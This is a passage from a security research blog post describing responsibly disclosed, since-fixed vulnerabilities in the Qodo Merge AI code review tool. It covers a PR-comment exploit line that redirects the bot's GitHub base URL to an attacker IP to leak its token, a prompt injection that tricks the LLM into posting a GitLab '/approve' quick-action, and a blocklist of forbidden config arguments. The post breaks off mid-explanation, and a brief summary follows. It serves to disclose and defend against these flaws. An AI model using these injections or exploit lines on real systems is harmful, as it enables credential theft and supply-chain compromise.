All Researches All Threat Alerts No items found. January 15, 2026 · 0 Minutes Read How We Exploited Qodo: From a PR Comment to RCE and an AWS Admin Key - Leaked Twice AI Security January 15, 2026 · 0 Minutes Read How We Exploited Qodo: From a PR Comment to RCE and an AWS Admin Key - Leaked Twice AI Security January 15, 2026 · 0 Minutes Read Nils Amiet Senior Security Researcher Find out more table of contents Talk Directly To Experts Now! Share on Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. In this blog post, we explain how we leaked Qodo Merge Pro's AWS secret key that had Administrator permissions and how we obtained Remote Code Execution on their GitHub app production server. A malicious attacker could have taken over their AWS infrastructure and with the attack on the GitHub app, gained write access to their customers' repositories for a massive supply chain attack. This is a technical write-up of some of the vulnerabilities we disclosed at Black Hat USA last summer. It is part of a series of blog posts about security vulnerabilities we found in AI developer tools. This post also describes previously unreleased vulnerabilities. This is published for awareness purposes in the hopes that others can avoid similar vulnerabilities. Secondarily, we want to show how just knowing about prompt injection isn't enough. There needs to be a solid understanding of the environment, features, and systems involved to identify the risks in AI-powered applications. Otherwise, devastating impacts may go unidentified. Note: All the vulnerabilities described in this blog post have been fixed as of October 2025. Kudos to Qodo for quickly remediating these issues after reception of our responsible disclosure. Since this blog post is a follow-up to events that took place last year, let's go through a quick recap. Round 1: Recap In August 2024, I wrote about 2 vulnerabilities I found in Qodo Merge, an open-source AI code review tool. At the time this was published, the vulnerabilities were still exploitable. A few months later, I also gave a talk at 38C3 about those vulnerabilities. Then, I moved on to research vulnerabilities in other AI developer tools. A few weeks later, after I wrapped up the research on CodeRabbit , I noticed that Qodo had pushed a fix to the exploit I disclosed at 38C3 and decided to look into it. As a reminder, let's quickly detail what those 2 vulnerabilities were. 1) Our first Qodo Merge exploit allowed us to leak a GitHub access token used in a Qodo Merge GitHub Action. This token had write permissions to the repository so it could have been used to modify GitHub repositories that were using Qodo Merge as a GitHub Action with the default settings. That includes manipulating the git history, updating existing GitHub releases and performing lateral moves leading to potential leakage of GitHub repository secrets in certain cases. The exploit was injected through a GitHub Pull Request (PR) comment. For example: the following comment could be posted on a PR to leak the GitHub access token to our attacker-controlled server at 1.2.3.4: Exploiting Qodo Merge to leak its GitHub access token through a GitHub PR comment 2) Our second exploit allowed for a privilege escalation on Gitlab quick-actions through a prompt injection. This affected people specifically using Qodo Merge on Gitlab projects. Indeed, we could trick an LLM into outputting a Gitlab quick-action such as "/approve" that would be posted by Qodo Merge on a Gitlab Merge Request (MR) comment. Gitlab would then execute the quick-action and, for example, approve a merge request with potentially more permissions than the user had. A malicious actor with low permissions could exploit this vulnerability to elevate their permissions and execute Gitlab quick actions with those elevated permissions (the ones of Qodo Merge). The image below explains this in more detail. Prompt injection to Privilege escalation through Gitlab quick-actions Round 2: Dynaconf bypass Now that the recap is done, let's continue with our story. As mentioned earlier, Qodo pushed fixes to both exploits. We'll focus on the first one here, since this is the most interesting one. They added a list of forbidden arguments that couldn't appear in GitHub comments. Here is a list of the forbidden arguments introduced in that fix: .base_url .bearer_token .enable_auto_approval .enable_local_cache .git_provider .jira_base_url .local_cache_path openai.key .override_deployment_type .personal_access_token .private_key .secret_provider .skip_keys .uri .url .webhook_secret Since .base_url is now forbidden, this indeed blocks our original exploit because it contains .base_url: /ask What does this do ? --github.base_url=http: //1.2.3.4 However, this didn't fix the root issue. Let's see how this can be bypassed. Introducing Dynaconf Qodo Merge uses a Python library called Dynaconf to handle its internal configuration. This is a convenient library f...
A security researcher discovered a critical vulnerability in Qodo Merge Pro that allowed for Remote Code Execution (RCE) on their GitHub app production server and exposed an AWS secret key with Administrator permissions. A malicious actor could have leveraged these vulnerabilities to take over Qodo's AWS infrastructure and gain write access to customer repositories, leading to a significant supply chain attack.